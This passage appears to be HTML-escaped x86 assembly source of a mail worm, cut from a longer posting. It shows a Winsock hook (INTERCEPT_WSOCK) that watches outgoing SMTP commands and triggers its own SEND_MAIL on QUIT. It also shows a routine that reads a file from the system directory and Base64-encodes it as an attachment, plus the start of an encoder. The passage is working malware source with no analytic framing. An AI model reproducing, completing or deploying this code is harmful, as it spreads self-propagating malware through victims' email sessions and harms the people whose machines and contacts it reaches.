esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, 08h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rep cmpsb&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je SaveMimeTo&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;inc esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;loop ToEndLoop&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jmp Continue&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;SaveMimeTo:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;sub eax, esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + mimetosize], ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + AGlobalAlloc]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;or eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jz MimeError&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + mimeto_address], eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov edi, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rep movsb&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + tostatus], 01h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [ebp + fromstatus], 01h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jne CheckMimeFrom&lt;span style=""&gt;              &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + status], 05h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jmp CheckQuit&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;MimeError:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + status], 05h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CheckQuit:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov esi, [esp+(8*4)+(1*4)+4 + 4]&lt;span style=""&gt;      &lt;/span&gt; &lt;span style=""&gt;       &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, [esp+(8*4)+(1*4)+4 + 8]&lt;span style=""&gt;              &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [esi], 'TIUQ'&lt;span style=""&gt;              &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jne Continue&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pushad&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SEND_MAIL&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;popad&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jmp InterceptionFinished&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;ErrorWhileSending:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;InterceptionFinished:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + status], 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + totalrcptsize], 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + rcptnumber], 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + tostatus], 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + fromstatus], 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jmp Continue&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;Continue:&lt;span style=""&gt;  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;popad&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + InterceptWsockApiCall]&lt;span style=""&gt;         &lt;/span&gt;&lt;span style=""&gt;       &lt;/span&gt;; get ep va&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;sub eax, dword ptr [ebp + wnewapiaddress]&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;; - ep RVA&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add eax, dword ptr [ebp + woldapiaddress]&lt;span style=""&gt;     &lt;/span&gt;; = imagebase&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop ebp&lt;span style=""&gt; &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jmp eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;INTERCEPT_WSOCK endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;========================[ ic-ws_attachment.inc ]===========================;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PREPARE_ATTACHMENT proc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;SetSysDir:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SET_SYSDIR&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;OpenSourceFile:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;push 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;push 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;push 3&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;push 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;push 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;push 80000000h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;lea eax, [ebp + wsock2]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ACreateFile]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;mov [ebp + filehandle], eax&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;                &lt;/span&gt;; save file handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;cmp eax, -1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je NoBase64Encode&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;GetSourceFileSize:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push dword ptr [ebp + filehandle]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + AGetFileSize]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;or eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jz NoBase64Encode&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + filesize], eax&lt;span style=""&gt;                     &lt;/span&gt;; get file size&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;AllocateSourceMemory:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add eax, 02h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + AGlobalAlloc]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;or eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;jz NoBase64Encode&lt;span style=""&gt;          &lt;/span&gt;&lt;span style=""&gt;                   &lt;/span&gt;; not enough memory?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;mov [ebp + smHnd], eax&lt;span style=""&gt;                        &lt;/span&gt;; sourcememory handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;AllocateDestinationMemory:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;mov eax, [ebp + filesize]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor edx, edx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, 02h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mul ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + AGlobalAlloc]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;or eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jz NoBase64Encode&lt;span style=""&gt;          &lt;/span&gt;&lt;span style=""&gt;                   &lt;/span&gt;; not enough memory?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + dmHnd], eax&lt;span style=""&gt;                        &lt;/span&gt;; destinationmemory handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;ReadSourceFile:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;mov [ebp + bytesread], 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;lea eax, [ebp + bytesread]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;push [ebp + filesize] &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;push dword ptr [ebp + smHnd]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;push dword ptr [ebp + filehandle]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + AReadFile]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;mov eax, dword ptr [ebp + bytesread]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;or eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;       &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;jz NoBase64Encode&lt;span style=""&gt;                             &lt;/span&gt;; nothing read ?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CloseSourceFile:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;push dword ptr [ebp + filehandle]&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;                 &lt;/span&gt;; close the file&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ACloseHandle]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;EncodeSourceData:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, dword ptr [ebp + smHnd]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov edx, dword ptr [ebp + dmHnd]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, dword ptr [ebp + filesize]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call BASE64_ENCODER&lt;span style=""&gt;            &lt;/span&gt;&lt;span style=""&gt;                       &lt;/span&gt;; encode into Base64&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + encodedsize], ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;NoBase64Encode:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PREPARE_ATTACHMENT endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;=========================[ ic-ws_b64encoder.inc ]==========================;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;BASE64_ENCODER proc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;; in:&lt;span style=""&gt;   &lt;/span&gt;eax address of data to encode&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;;&lt;span style=""&gt;       &lt;/span&gt;edx address to put encoded data&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;;&lt;span style=""&gt;       &lt;/span&gt;ecx size of data to encode&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;; out:&lt;span style=""&gt;  &lt;/span&gt;ecx size of encoded data&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CheckFileSize:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push edx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor edx, edx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, 03h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;div ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;or edx, edx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jz EncodeBase64&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;AddTwoBytes:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp edx, 01h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jne 